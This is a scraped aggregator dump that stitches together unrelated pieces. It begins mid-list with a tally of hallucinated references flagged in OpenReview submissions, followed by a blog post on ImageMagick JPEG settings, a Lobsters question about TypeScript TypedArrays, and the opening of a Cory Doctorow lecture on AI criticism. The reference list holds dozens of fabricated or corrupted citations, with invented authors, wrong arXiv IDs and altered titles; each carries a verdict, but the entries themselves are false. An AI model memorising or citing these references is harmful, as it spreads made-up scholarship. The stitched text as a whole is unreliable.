attacks using spectral regularization. In International Conference on Learning Representations (ICLR), 2020. No Match OrtSAE: Orthogonal Sparse Autoencoders Uncover Atomic Features 6.0 OrtSAE: Orthogonal Sparse Autoencoders Uncover Atomic Features | OpenReview https://app.gptzero.me/documents/e3f155d7-067a-4720-adf8-65dc9dc714b9/share Robert Huben, Logan Riggs, Aidan Ewart, Hoagy Cunningham, and Lee Sharkey. Sparse autoencoders can interpret randomly initialized transformers, 2025. URL https://arxiv.org/ abs/2501.17727. This paper exists, but all authors are wrong. Principled Policy Optimization for LLMs via Self-Normalized Importance Sampling 5.0 Principled Policy Optimization for LLMs via Self-Normalized Importance Sampling | OpenReview https://app.gptzero.me/documents/54c8aa45-c97d-48fc-b9d0-d491d54df8d3/share David Rein, Stas Gaskin, Lajanugen Logeswaran, Adva Wolf, Oded teht sun, Jackson H. He, Divyansh Kaushik, Chitta Baral, Yair Carmon, Vered Shwartz, Sang-Woo Lee, Yoav Goldberg, C. J. H. un, Swaroop Mishra, and Daniel Khashabi. Gpqa: A graduate-level google-proof q\&a benchmark, 2023 All authors except the first are fabricated. PDMBench: A Standardized Platform for Predictive Maintenance Research 4.5 PDMBench: A Standardized Platform for Predictive Maintenance Research | OpenReview https://app.gptzero.me/documents/5c55afe7-1689-480d-ac44-9502dc0f9229/share Andrew Chen, Andy Chow, Aaron Davidson, Arjun DCunha, Ali Ghodsi, Sue Ann Hong, Andy Konwinski, Clemens Mewald, Siddharth Murching, Tomas Nykodym, et al. Mlflow: A platform for managing the machine learning lifecycle. In Proceedings of the Fourth International Workshop on Data Management for End-to-End Machine Learning, pp. 1-4. ACM, 2018. Authors and conference match this paper , but title is somewhat different and the year is wrong. IMPQ: Interaction-Aware Layerwise Mixed Precision Quantization for LLMs 4.5 IMPQ: Interaction-Aware Layerwise Mixed Precision Quantization for LLMs | OpenReview https://app.gptzero.me/documents/5461eefd-891e-4100-ba1c-e5419af520c0/share Chen Zhu et al. A survey on efficient deployment of large language models. arXiv preprint arXiv:2307.03744, 2023. The arXiv ID is real, but the paper has different authors and a different title. C3-OWD: A Curriculum Cross-modal Contrastive Learning Framework for Open-World Detection 4.5 C3-OWD: A Curriculum Cross-modal Contrastive Learning Framework for Open-World Detection | OpenReview https://app.gptzero.me/documents/c07521cd-2757-40a2-8dc1-41382d7eb11b/share K. Marino, R. Salakhutdinov, and A. Gupta. Fine-grained image classification with learnable semantic parts. In Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition, pp. 4500-4509, 2019. Authors and subject match this paper TopoMHC: Sequence–Topology Fusion for MHC Binding 4.5 TopoMHC: Sequence–Topology Fusion for MHC Binding | OpenReview https://app.gptzero.me/documents/8da4f86c-00d8-4d73-81dd-c168c0bfdf4e/share Yuchen Han, Yohan Kim, Dalibor Petrovic, Alessandro Sette, Morten Nielsen, and Bjoern Peters. Deepligand: a deep learning framework for peptide-mhc binding prediction. Bioinformatics, 39 (1):btac834, 2023. doi: 10.1093/bioinformatics/btac834. No Match Can Text-to-Video Models Generate Realistic Human Motion? 4.5 Can Text-to-Video Models Generate Realistic Human Motion? | OpenReview https://app.gptzero.me/documents/f52aad2d-2253-44bf-80ba-8e8668df650f/share Yugandhar Balaji, Jianwei Yang, Zhen Xu, Menglei Chai, Zhoutong Xu, Ersin Yumer, Greg Shakhnarovich, and Deva Ramanan. Conditional gan with discriminative filter generation for text-to-video synthesis. In Proceedings of the 28th International Joint Conference on Artificial Intelligence (IJCAI), pp. 2155-2161, July 2019. doi: 10.24963/ijcai.2019/276. This paper exists , but the authors and page numbers are wrong. GRF-LLM: Environment-Aware Wireless Channel Modeling via LLM-Guided 3D Gaussians 4.0 GRF-LLM: Environment-Aware Wireless Channel Modeling via LLM-Guided 3D Gaussians | OpenReview https://app.gptzero.me/documents/c3e66b9c-20b4-4c50-b881-e40aba2a514f/share Junting Chen, Yong Zeng, and Rui Zhang. Rfcanvas: A radio frequency canvas for wireless network design. In IEEE International Conference on Communications, pp. 1-6, 2024.
Title partially matches this article . Listwise Generalized Preference Optimization with Process-aware Signals for LLM Reasoning 4.0 Listwise Generalized Preference Optimization with Process-aware Signals for LLM Reasoning | OpenReview https://app.gptzero.me/documents/bbeecf1c-189a-4311-999b-617aab686ea9/share Kaixuan Zhou, Jiaqi Liu, Yiding Wang, and James Zou. Generalized direct preference optimization. arXiv preprint arXiv:2402.05015, 2024. No Match IUT-Plug: A Plug-in tool for Interleaved Image-Text Generation 4.0 IUT-Plug: A Plug-in tool for Interleaved Image-Text Generation | OpenReview https://app.gptzero.me/documents/0f12d2fc-403b-4859-8d00-f75fd9f56e39/share Yash Goyal, Anamay Mohapatra, Nihar Kwatra, and Pawan Goyal. A benchmark for compositional text-to-image synthesis. In Thirty-fifth Conference on Neural Information Processing Systems Datasets and Benchmarks Track (Round 1), 2021. This paper exists , but the authors are all wrong. Resolving the Security-Auditability Dilemma with Auditable Latent Chain-of-Thought 4.0 Resolving the Security-Auditability Dilemma with Auditable Latent Chain-of-Thought | OpenReview https://app.gptzero.me/documents/5cee5c3a-5e75-4063-a054-1e934a071705/share Yixiang Ma, Ziyi Liu, Zhaoyu Wang, Zhaofeng Xu, Yitao Wang, and Yang Liu. Safechain: A framework for securely executing complex commands using large language models. arXiv preprint arXiv:2402.16521, 2024a. No match; although this paper is closely related. ThinkGeo: Evaluating Tool-Augmented Agents for Remote Sensing Tasks 4.0 ThinkGeo: Evaluating Tool-Augmented Agents for Remote Sensing Tasks | OpenReview https://app.gptzero.me/documents/f3441445-5401-48e9-9617-09a635992ff9/share Yunzhu Yang, Shuang Li, and Jiajun Wu. MM-ReAct: Prompting chatgpt to multi-modal chain-ofthought reasoning. arXiv preprint arXiv:2401.04740, 2024. No Match Taming the Judge: Deconflicting AI Feedback for Stable Reinforcement Learning 3.5 Taming the Judge: Deconflicting AI Feedback for Stable Reinforcement Learning | OpenReview https://app.gptzero.me/documents/80c64df2-eee6-41aa-90cc-3f835b128747/share Chenglong Wang, Yang Liu, Zhihong Xu, Ruochen Zhang, Jiahao Wu, Tao Luo, Jingang Li, Xunliang Liu, Weiran Qi, Yujiu Yang, et al. Gram-r ${ }^{8}$ : Self-training generative foundation reward models for reward reasoning. arXiv preprint arXiv:2509.02492, 2025b. All authors except the first are fabricated and the title is altered. DANCE-ST: Why Trustworthy AI Needs Constraint Guidance, Not Constraint Penalties 3.5 DANCE-ST: Why Trustworthy AI Needs Constraint Guidance, Not Constraint Penalties | OpenReview https://app.gptzero.me/documents/3ebd71b4-560d-4fa3-a0d3-ed2fa13c519f/share Sardar Asif, Saad Ghayas, Waqar Ahmad, and Faisal Aadil. Atcn: an attention-based temporal convolutional network for remaining useful life prediction. The Journal of Supercomputing, 78(1): $1-19,2022$. Two papers with similar titles exist here and here , but the authors, journal, and date do not match. Federated Hierarchical Anti-Forgetting Framework for Class-Incremental Learning with Large Pre-Trained Models 3.33 Federated Hierarchical Anti-Forgetting Framework for Class-Incremental Learning with Large Pre-Trained Models | OpenReview https://app.gptzero.me/documents/ae10437b-c65b-455b-ad22-918742a5ed82/share Arslan Chaudhry, Arun Mallya, and Abhinav Srivastava. Fedclassil: A benchmark for classincremental federated learning. In NeurIPS, 2023. No Match Chain-of-Influence: Tracing Interdependencies Across Time and Features in Clinical Predictive Modeling 3.33 Chain-of-Influence: Tracing Interdependencies Across Time and Features in Clinical Predictive Modeling | OpenReview https://app.gptzero.me/documents/dff2c063-6986-4241-8c20-4327a39d4d4b/share Ishita et al. Bardhan. Icu length-of-stay prediction with interaction-based explanations. Journal of Biomedical Informatics, 144:104490, 2024. No Match TRACEALIGN - Tracing the Drift: Attributing Alignment Failures to Training-Time Belief Sources in LLMs 3.33 TRACEALIGN - Tracing the Drift: Attributing Alignment Failures to Training-Time Belief Sources in LLMs | OpenReview https://app.gptzero.me/documents/4b379aba-8d8a-427b-ac67-d13af5eda8c9/share Lisa Feldman Barrett. Emotions are constructed: How brains make meaning. Current Directions in Psychological Science, 25(6):403-408, 2016. This article is similar, but the title, and metadata are different. MEMORIA: A Large Language Model, Instruction Data and Evaluation Benchmark for Intangible Cultural Heritage 3.33 MEMORIA: A Large Language Model, Instruction Data and Evaluation Benchmark for Intangible Cultural Heritage | OpenReview https://app.gptzero.me/documents/956129a3-11ee-4503-92e3-3ed5db12d2d6/share Yang Cao, Rosa Martinez, and Sarah Thompson. Preserving indigenous languages through neural language models: Challenges and opportunities. Computational Linguistics, 49(3):567-592, 2023. No Match Reflexion: Language Models that Think Twice for Internalized Self-Correction 3.2 Reflexion: Language Models that Think Twice for Internalized Self-Correction | OpenReview https://app.gptzero.me/documents/45f2f68d-df09-4bbf-8513-588fe24f26fa/share Guang-He Xiao, Haolin Wang, and Yong-Feng Zhang. Rethinking uncertainty in llms: A case study on a fact-checking benchmark. arXiv preprint arXiv:2305.11382, 2023. No Match ECAM: Enhancing Causal Reasoning in Foundation Models with Endogenous Causal Attention Mechanism 3.0 ECAM: Enhancing Causal Reasoning in Foundation Models with Endogenous Causal Attention Mechanism | OpenReview https://app.gptzero.me/documents/d99a5552-38e0-459b-8746-4e64069b0640/share Atticus Geiger, Zhengxuan Wu, Yonatan Rozner, Mirac Suzgun Naveh, Anna Nagarajan, Jure Leskovec, Christopher Potts, and Noah D Goodman. Causal interpretation of self-attention in pre-trained transformers. In Advances in Neural Information Processing Systems 36 (NeurIPS 2023), 2023. URL https://proceedings.neurips.cc/paper_files/paper/ 2023/file/642a321fba8a0f03765318e629cb93ea-Paper-Conference.pdf. A paper with this title exists at the given URL, but the authors don't match. MANTA: Cross-Modal Semantic Alignment and Information-Theoretic Optimization for Long-form Multimodal Understanding 3.0 MANTA: Cross-Modal Semantic Alignment and Information-Theoretic Optimization for Long-form Multimodal Understanding | OpenReview https://app.gptzero.me/documents/381ed9a6-b168-4cd0-81ad-1f50139c0737/share Guy Dove. Language as a cognitive tool to imagine goals in curiosity-driven exploration. Nature Communications, 13(1):1-14, 2022. An article with this title exists , but author and publication don't match. LOSI: Improving Multi-agent Reinforcement Learning via Latent Opponent Strategy Identification 3.0 LOSI: Improving Multi-agent Reinforcement Learning via Latent Opponent Strategy Identification | OpenReview https://app.gptzero.me/documents/53e86e4b-a7e2-48d0-976b-240bfc412836/share Jing Liang, Fan Zhou, Shuying Li, Jun Chen, Guandong Zhou, Huaiming Xu, and Xin Li. Learning opponent behavior for robust cooperation in multi-agent reinforcement learning. IEEE Transactions on Cybernetics, 53(12):7527-7540, 2023. No Match The Dynamic Interaction Field Transformer: A Universal, Tokenizer-Free Language Architecture 3.0 The Dynamic Interaction Field Transformer: A Universal, Tokenizer-Free Language Architecture | OpenReview https://app.gptzero.me/documents/80fd90a6-c99e-4c31-af72-0da9e90949f6/share Kaj Bostrom and Greg Durrett. Byte-level representation learning for multi-lingual named entity recognition. Proceedings of the 2020 Conference on Empirical Methods in Natural Language Processing (EMNLP), pp. 4617-4627, 2020. No Match Strategema: Probabilistic Analysis of Adversarial Multi-Agent Behavior with LLMs in Social Deduction Games 3.0 Strategema: Probabilistic Analysis of Adversarial Multi-Agent Behavior with LLMs in Social Deduction Games | OpenReview https://app.gptzero.me/documents/1155e8a8-f679-4942-8fd9-c47fb64ad967/share Tom Eccles, Jeffrey Tweedale, and Yvette Izza. Let's pretend: A study of negotiation with autonomous agents. In 2009 IEEE/WIC/ACM International Joint Conference on Web Intelligence and Intelligent Agent Technology (WI-IAT), volume 3, pp. 449-452. IEEE, 2009. No Match Understanding Transformer Architecture through Continuous Dynamics: A Partial Differential Equation Perspective 3.0 Understanding Transformer Architecture through Continuous Dynamics: A Partial Differential Equation Perspective | OpenReview https://app.gptzero.me/documents/460a1a23-1a97-482a-9759-ade855a4a0b4/share Zijie J Wang, Yuhao Choi, and Dongyeop Wei. On the identity of the representation learned by pre-trained language models. arXiv preprint arXiv:2109.01819, 2021. No Match Diffusion Aligned Embeddings 2.8 Diffusion Aligned Embeddings | OpenReview https://app.gptzero.me/documents/3d95a003-06c6-4233-881b-03b1e29b4ba2/share Yujia Wang, Hu Huang, Cynthia Rudin, and Yaron Shaposhnik. Pacmap: Dimension reduction using pairwise controlled manifold approximation projection. Machine Learning, 110:559-590, 2021. A similar paper with two matching authors exists , but the other authors, title, and journal are wrong. Leveraging NLLB for Low-Resource Bidirectional Amharic – Afan Oromo Machine Translation 2.5 Leveraging NLLB for Low-Resource Bidirectional Amharic – Afan Oromo Machine Translation | Open Review https://app.gptzero.me/documents/813da6e2-f7e8-4c95-bdd8-7d29b8e4b641/share Atnafa L. Tonja, Gebremedhin Gebremeskel, and Seid M. Yimam. Evaluating machine translation systems for ethiopian languages: A case study of amharic and afan oromo. Journal of Natural Language Engineering, 29(3):456-478, 2023. No Match Certified Robustness Training: Closed-Form Certificates via CROWN 2.5 Certified Robustness Training: Closed-Form Certificates via CROWN | OpenReview https://app.gptzero.me/documents/53b60ef5-2ebf-403e-8123-3a9bb2da0f33/share Huan Zhang, Hongge Chen, Chaowei Xiao, and Bo Zhang. Towards deeper and better certified defenses against adversarial attacks. In International Conference on Learning Representations, 2019. URL https://openreview.net/forum?id=rJgG92A2m No Match Context-Aware Input Switching in Mobile Devices: A Multi-Language, Emoji-Integrated Typing System 2.5 Context-Aware Input Switching in Mobile Devices: A Multi-Language, Emoji-Integrated Typing System | OpenReview https://app.gptzero.me/documents/68998766-49c3-4269-9eca-3b6a76ed68b4/share Ishan Tarunesh, Syama Sundar Picked, Sai Krishna Bhat, and Monojit Choudhury. Machine translation for code-switching: A systematic literature review. In Proceedings of the 59th Annual Meeting of the Association for Computational Linguistics, pp. 3654-3670, 2021. Partial match to this article , but authors, title, and metadata is largely wrong. Five-Mode Tucker-LoRA for Video Diffusion on Conv3D Backbones 2.5 Five-Mode Tucker-LoRA for Video Diffusion on Conv3D Backbones | OpenReview https://app.gptzero.me/documents/eb0fd660-ed00-4769-a940-3d093d4f1ec1/share Shengming Chen, Yuxin Wang, et al. Videocrafter: Open diffusion models for high-quality video generation. arXiv preprint arXiv:2305.07932, 2023b. A paper with the same title exists , but the authors and arXiv ID are wrong. Activation-Guided Regularization: Improving Deep Classifiers using Feature-Space Regularization with Dynamic Prototypes 2.5 Activation-Guided Regularization: Improving Deep Classifiers using Feature-Space Regularization with Dynamic Prototypes | OpenReview https://app.gptzero.me/documents/4031111e-24ef-4e06-908e-18ab99b08932/share Wentao Cheng and Tong Zhang. Improving deep learning for classification with unknown label noise. In International Conference on Machine Learning, pp. 6059-6081. PMLR, 2023. A similar paper exists . Sparse-Smooth Decomposition for Nonlinear Industrial Time Series Forecasting 2.5 Sparse-Smooth Decomposition for Nonlinear Industrial Time Series Forecasting | OpenReview https://app.gptzero.me/documents/c01ad49e-a788-4916-a6ee-f43314d14676/share Yutian Chen, Kun Zhang, Jonas Peters, and Bernhard Schölkopf. Causal discovery and inference for nonstationary systems. Journal of Machine Learning Research, 22(103):1-72, 2021. No Match PDE-Transformer: A Continuous Dynamical Systems Approach to Sequence Modeling 2.0 PDE-Transformer: A Continuous Dynamical Systems Approach to Sequence Modeling | OpenReview https://app.gptzero.me/documents/ba257eea-e86c-4276-84c0-08b7465e1e3e/share
Xuechen Li, Juntang Zhuang, Yifan Ding, Zhaozong Jin, Yun chen Chen, and Stefanie Jegelka. Scalable gradients for stochastic differential equations. In Proceedings of the Twenty Third International Conference on Artificial Intelligence and Statistics (AISTATS 2020), volume 108 of Proceedings of Machine Learning Research, pp. 3898-3908, 2020. The paper exists and the first author is correct but all other authors and the page range are wrong SAFE-LLM: A Unified Framework for Reliable, Safe, And Secure Evaluation of Large Language Models 2.0 SAFE-LLM: A Unified Framework for Reliable, Safe, And Secure Evaluation of Large Language Models | OpenReview https://app.gptzero.me/documents/05ee7ff4-40e2-48b7-b5bd-8c307d7db669/share Kuhn, J., et al. Semantic Entropy for Hallucination Detection. ACL 2023. A similar paper with different authors can be found here . PIPA: An Agent for Protein Interaction Identification and Perturbation Analysis 2.0 PIPA: An Agent for Protein Interaction Identification and Perturbation Analysis | OpenReview https://app.gptzero.me/documents/5031a806-1271-4fd3-b333-2554f47cb9fa/share Alex Brown et al. Autonomous scientific experimentation at the advanced light source using language-model-driven agents. Nature Communications, 16:7001, 2025. No Match Typed Chain-of-Thought: A Curry-Howard Framework for Verifying LLM Reasoning 2.0 Typed Chain-of-Thought: A Curry-Howard Framework for Verifying LLM Reasoning | OpenReview https://app.gptzero.me/documents/9d2e3239-99db-4712-be7f-e032156d92a5/share DeepMind. Gemma scope: Scaling mechanistic interpretability to chain of thought. DeepMind Safety Blog, 2025. URL https://deepmindsafetyresearch.medium.com/ evaluating-and-monitoring-for-ai-scheming-8a7f2ce087f9. Discusses scaling mechanistic interpretability techniques to chain-of-thought and applications such as hallucination detection. ThA similar URL exists , and the title is similar to this blog . However, no exact match exists. Graph-Based Operator Learning from Limited Data on Irregular Domains 2.0 Graph-Based Operator Learning from Limited Data on Irregular Domains | OpenReview https://app.gptzero.me/documents/6c52217f-fb88-4bd8-85aa-bd546e1fa88c/share Liu, Y., Lütjens, B., Azizzadenesheli, K., and Anandkumar, A. (2022). U-netformer: A u-net style transformer for solving pdes. arXiv preprint arXiv:2206.11832. No Match KARMA: Knowledge-Aware Reward Mechanism Adjustment via Causal AI 2.0 KARMA: Knowledge-Aware Reward Mechanism Adjustment via Causal AI | OpenReview https://app.gptzero.me/documents/92b6492c-68ad-41a3-ae35-628d67f053e0/share Reinaldo A. C. Bianchi, Luis A. Celiberto Jr, and Ramon Lopez de Mantaras. Knowledge-based reinforcement learning: A survey. Journal of Artificial Intelligence Research, 62:215-261, 2018. No Match Microarchitecture Is Destiny: Performance and Accuracy of Quantized LLMs on Consumer Hardware 2.0 Microarchitecture Is Destiny: Performance and Accuracy of Quantized LLMs on Consumer Hardware | OpenReview https://app.gptzero.me/documents/4504a39a-af72-41ab-9679-6f6a017a3275/share Zhihang Jiang, Dingkang Wang, Yao Li, et al. Fp6-llm: Efficient llm serving through fp6-centric co-design. arXiv preprint arXiv:2401.14112, 2024. the arXiv ID corresponds with a very similar paper , but the authors are wrong and the title is altered. Decoupling of Experts: A Knowledge-Driven Architecture for Efficient LLMs 1.6 Decoupling of Experts: A Knowledge-Driven Architecture for Efficient LLMs | OpenReview https://app.gptzero.me/documents/74eade70-da36-4635-8749-5e1d04748b6d/share H Zhang, Y L, X W, Y Z, X Z, H W, X H, K G, Z W, H W, H C, H L, and J W. Matrix data pile: A trillion-tokenscale datasets for llm pre-training. arXiv preprint arXiv:2408.12151, 2024. No Match; arxiv is is unrelated QUART: Agentic Reasoning To Discover Missing Knowledge in Multi-Domain Temporal Data. 1.5 QUART: Agentic Reasoning To Discover Missing Knowledge in Multi-Domain Temporal Data. | OpenReview https://app.gptzero.me/documents/c6f30343-3948-4c07-b7de-6b1407d5daa6/share Meera Jain and Albert Chen. Explainable ai techniques for medical applications: A comprehensive review. AI in Healthcare, 5:22-37, 2024. No Match From Physics-Informed Models to Deep Learning: Reproducible AI Frameworks for Climate Resilience and Policy Alignment 1.5 From Physics-Informed Models to Deep Learning: Reproducible AI Frameworks for Climate Resilience and Policy Alignment | OpenReview https://app.gptzero.me/documents/a7ed6c42-4349-4b45-a356-0e325090e5af/share MIT Climate Group. A cautionary tale for deep learning in climate science. https://example. com, 2019. The title matches this paper, but the citation is obviously hallucinated. A superpersuasive autonomous policy debating system 1.5 A superpersuasive autonomous policy debating system | OpenReview https://app.gptzero.me/documents/b792a4de-baa8-47d4-b880-87b330a482ce/share Roy Bar-Haim, Shachar Bhattacharya, Michal Jacovi, Yosi Mass, Matan Orbach, Eyal Sliwowicz, and Noam Slonim. Key point analysis via contrastive learning and extractive argument summarization. In Proceedings of the 2021 Conference on Empirical Methods in Natural Language Processing, pages 7953-7962, Online and Punta Cana, Dominican Republic, November 2021a. Association for Computational Linguistics. doi: 10.18653/v1/2021.emnlp-main.629. URL https://aclanthology.org/2021.emnlp-main. 629. A paper with the same title exists , but the authors and URL are wrong. AnveshanaAI: A Multimodal Platform for Adaptive AI/ML Education Through Automated Question Generation and Interactive Assessment 1.5 AnveshanaAI: A Multimodal Platform for Adaptive AI/ML Education Through Automated Question Generation and Interactive Assessment | OpenReview https://app.gptzero.me/documents/720d6d24-2223-4e0e-95b9-6dfce674f8c7/share Shiyang Liu, Hongyi Xu, and Min Chen. Measuring and reducing perplexity in large-scale llms. arXiv preprint arXiv:2309.12345, 2023. No Match AI-Assisted Medical Triage Assistant 1.0 AI-Assisted Medical Triage Assistant | OpenReview https://app.gptzero.me/documents/391b5d76-929a-4f3f-addf-31f6993726f2/share [3] K. Arnold, J. Smith, and A. Doe. Variability in triage decision making. Resuscitation, 85:12341239, 2014. No Match Deciphering Cross-Modal Feature Interactions in Multimodal AIGC Models: A Mechanistic Interpretability Approach 0.67 Deciphering Cross-Modal Feature Interactions in Multimodal AIGC Models: A Mechanistic Interpretability Approach | OpenReview https://app.gptzero.me/documents/d4102812-01c4-45b2-aea8-59e467d31fd4/share Shuyang Basu, Sachin Y Gadre, Ameet Talwalkar, and Zico Kolter. Understanding multimodal llms: the mechanistic interpretability of llava in visual question answering. arXiv preprint arXiv:2411.17346, 2024. A paper with this title exists , but the authors and arXiv ID are wrong. Scalable Generative Modeling of Protein Ligand Trajectories via Graph Neural Diffusion Networks 0.5 Scalable Generative Modeling of Protein Ligand Trajectories via Graph Neural Diffusion Networks | OpenReview https://app.gptzero.me/documents/32d43311-6e69-4b88-be99-682e4eb0c2cc/share E. Brini, G. Jayachandran, and M. Karplus. Coarse-graining biomolecular simulations via statistical learning. J. Chem. Phys., 154:040901, 2021. There is no match for the title and authors, but the journal, volume, and year match this article

It Is Worth It To Optimize Images For Your Site

Lobsters
brainbaking.com
2025-12-07 13:14:01
Comments...
Original Article

Yes but it depends on how you define the verb “to optimize”. For any image conversion heavy lifting I rely on the trusty ImageMagick yet I’ve been wondering whether my argument preset is correct: should it be more or less optimized?

The problem with questions is that they lead to other questions, such as: how much assets is this blog actually generating each year? Is my image optimization technique sustainable enough or will I end up with terabytes full of nonsense in ten or twenty years?

When it comes to size, opening up the handy gdu disk analyser in the assets/post folder is enough to get a first impression:

Gdu summarizing how much disk usage the assets on this blog are for each year in MiB.

As I maintain the same folder structure for both content/post and assets/post —this post lives under /post/2025/10/is-it-worth-it-to-optimize-images-for-your-site/ , for example—generating an overview of asset sizes per year becomes trivial. Not taking the earlier Brain Baking years into account, the total amount of data that gets added each year is on average 12.5 MiB . Let’s make that between thirteen and fourteen as 2025 isn’t finished yet.

That means in twenty years, I’ll have accumulated an extra 260 MiB . That’s not even half a classic CD-ROM. Is it really worth it then, to think twice about every MiB that gets checked in? Well, yes, since all those bytes need to leave one server and make an appearance at another in order to serve these pretty images to your visitor. Besides, as a proud member of The 512KB Club , I should keep my promise in reducing file sizes as much as possible.

Of course, not all posts have assets attached to them: the average amount of assets linked to a post here is 1.038 with each post having about 147.24 KiB on data. That’s quite optimized! Yet can I do better? Or should I stop over-compressing those images up to the point that they’re losing their vivid shine? More questions! No wait, those were the same.

Here’s the default ImageMagick command I rely on:

mogrify -sampling-factor 4:2:0 +profile '!icc,*' -quality 80 -interlace JPEG -format jpg -colorspace sRGB screenshot.png

What exactly does this do?

  • -sampling-factor 4:2:0 : the sampling factor used for the JPEG encoder. If Colin Bendell tells me to use 4:2:0 claiming a +/- 17% image size reduction, then I believe him.
  • +profile '!icc,*' : Removes all profiles except for the ICC colour profile; gets rid of EXIF data. See What Exif Data Reveals About Your Site .
  • -quality 80 : The compression quality of the image. With 90 or less, chroma channels are downsampled (which I instruct it to do anyway with the sampling factor argument).
  • -interlace JPEG : explicitly tasks ImageMagick to create a progressive JPEG allowing for the browser to show a lower-resolution version of the image whilst data is still being transferred. Perceived download speed is also important!
  • -format jpg : Why on earth would you want to export JPEG files when the era of WebP is here? That’s an easy one to answer: because my retro hardware knows JPEG. Because I believe we should build websites that last.
  • -colorspace sRGB : the default and recommended option for the WWW for image that do not contain any extra colorspace information such as JPEG. Other options provide slightly better compression .

I urge you to read Colin’s old but relevant post on chroma (colour detail) and luma (lightness and darkness) and how to optimize for the web/mobile. It even includes a regression analysis, concluding that:

Resizing images matters most. It multiplies the size a little more than the square root of the total pixels. More pixels, many more bytes. Compression matters somewhat. For quality=80 the bytes are x23; for quality=100 bytes multiply x50. Subsampling of 4:2:0 could further reduce the bytes by 17%.

What I did not realize until now by testing an comparing images is that -strip does something else besides stripping GPS Exif data. I noticed the export became washed out, as if a portion of the colour profile information was lost. Take a close look at the macOS dock screenshots re-rendered in Firefox:

Above: using -strip; without ICC. Below: using +profile '!icc,*'; with ICC.

Can you find the difference by inspecting the saturation of the red Firefox fox or the yellow wings of the NetNewsWire satellite? The difference is very subtle—and very difficult to showcase in a screenshot—but very annoying.

Inspecting the images using ImageMagick’s identify reveals that the ICC profile is removed in the process:

identify -verbose original.jpg | grep Profile
  Profiles:
    Profile-exif: 62 bytes
    Profile-icc: 4032 bytes
identify -verbose stripped.jpg | grep Profile
???? (no output)

The embedded ICC profile is there to make sure the image looks the same on any computer and any piece of software; without it browsers can render it like they want. The result is a flat looking image as you can see in the above screenshot (which does have an embedded profile). The -colorspace option does not solve this: it tells ImageMagick to convert the colorspace, not to attach it. Instead of using -strip , use +profile '!icc,*' to throw away all profiles but the ICC one.

Also, so be sure to add a -resize as this obviously has the highest impact on file sizes. But wait, what about providing a higher resolution image to desktop browsers and reducing the resolution to lower versions for mobile browsers? For me, that’s a hassle I don’t want to bother with at all. It requires saving the assets in their original format and providing a couple of alternatives, greatly increasing the total size of the source repository, the total size of the deployable folder, and the total bandwidth for my humble server.

For mobile users, that’s not a problem as downloading 147.24 KiB of data is less then the copious amounts of megabytes that will get slurped in when you visit your average newspaper site. For ultra widescreen 4K nerds, the max width on the container wrapping this <article/> will keep things somewhat in check.

The biggest takeaway for me is that in twenty years I’ll have filled half a CD-ROM which is significantly less than I expected. Should this incentivize me to bump the quality to 90% , reduce downsampling, or instead increase the usage of assets in general?

Maybe I should be less worried about the file size and more about the content.

webdesign

I Wasted 8 Years of My Life in Crypto

Hacker News
twitter.com
2025-12-07 12:57:59
Comments...

What do you use TypedArrays for in JavaScript/TypeScript?

Lobsters
lobste.rs
2025-12-07 12:49:14
I've recently been using TypedArrays more for manual memory management / custom data storage, and find myself somewhat struggling with the lack of good typing support in TypeScript w.r.t. TypedArrays. eg. Even if I can define a number value type union such as type Kind = 0 | 1 | 2 | 3 | 4 | 5; I ha...
Original Article

I've recently been using TypedArrays more for manual memory management / custom data storage, and find myself somewhat struggling with the lack of good typing support in TypeScript w.r.t. TypedArrays. eg. Even if I can define a number value type union such as

type Kind = 0 | 1 | 2 | 3 | 4 | 5;

I have no way of defining a Uint8Array that contains only this Kind type. After working around this with arr[i] as Kind casting and getting bit a few times by refactorings breaking the code but the as cast types not catching this, I opened up a feature suggestion for TypeScript (the pits, I know...) to support this. One response I got was to say that this is a niche use-case, and that made me wonder:

What are JavaScript/TypeScript developers actually using TypedArrays for, if number is a sufficient value type in all but niche use-cases? If you have open-source code examples to point to, that's awesome, but I'm interested in user stories / written word as well.

The Reverse-Centaur's Guide to Criticizing AI

Hacker News
pluralistic.net
2025-12-07 12:45:46
Comments...
Original Article


Today's links



The staring red eye of HAL 9000 from Stanley Kubrick's '2001: A Space Odyssey. In the center is the poop emoji from the cover of the US edition of 'Enshittification,' with angry eyebrows and a black, grawlix-scrawled bar over its mouth. The poop emoji's eyes have also been replaced with the HAL eye.

The Reverse Centaur’s Guide to Criticizing AI ( permalink )

Last night, I gave a speech for the University of Washington's "Neuroscience, AI and Society" lecture series, through the university's Computational Neuroscience Center. It was called "The Reverse Centaur’s Guide to Criticizing AI," and it's based on the manuscript for my next book, "The Reverse Centaur’s Guide to Life After AI," which will be out from Farrar, Straus and Giroux next June:

https://www.eventbrite.com/e/future-tense-neuroscience-ai-and-society-with-cory-doctorow-tickets-1735371255139

The talk was sold out, but here's the text of my lecture. I'm very grateful to UW for the opportunity, and for a lovely visit to Seattle!

==

I'm a science fiction writer, which means that my job is to make up futuristic parables about our current techno-social arrangements to interrogate not just what a gadget does , but who it does it for , and who it does it to.

What I don't do is predict the future. No one can predict the future, which is a good thing, since if the future were predictable, that would mean that what we all do couldn't change it. It would mean that the future was arriving on fixed rails and couldn't be steered.

Jesus Christ, what a miserable proposition!

Now, not everyone understands the distinction. They think sf writers are oracles, soothsayers. Unfortunately, even some of my colleagues labor under the delusion that they can "see the future."

But for every sf writer who deludes themselves into thinking that they are writing the future, there are a hundred sf fans who believe that they are reading the future, and a depressing number of those people appear to have become AI bros. The fact that these guys can't shut up about the day that their spicy autocomplete machine will wake up and turn us all into paperclips has led many confused journalists and conference organizers to try to get me to comment on the future of AI.

That's a thing I strenuously resisted doing, because I wasted two years of my life explaining patiently and repeatedly why I thought crypto was stupid, and getting relentless bollocked by cryptocurrency cultists who at first insisted that I just didn't understand crypto. And then, when I made it clear that I did understand crypto, insisted that I must be a paid shill.

This is literally what happens when you argue with Scientologists, and life is Just. Too. Short.

So I didn't want to get lured into another one of those quagmires, because on the one hand, I just don't think AI is that important of a technology, and on the other hand, I have very nuanced and complicated views about what's wrong, and not wrong, about AI, and it takes a long time to explain that stuff.

But people wouldn't stop asking, so I did what I always do. I wrote a book.

Over the summer I wrote a book about what I think about AI, which is really about what I think about AI criticism, and more specifically, how to be a good AI critic. By which I mean: "How to be a critic whose criticism inflicts maximum damage on the parts of AI that are doing the most harm." I titled the book The Reverse Centaur's Guide to Life After AI , and Farrar, Straus and Giroux will publish it in June, 2026.

But you don't have to wait until then because I am going to break down the entire book's thesis for you tonight, over the next 40 minutes. I am going to talk fast .

#

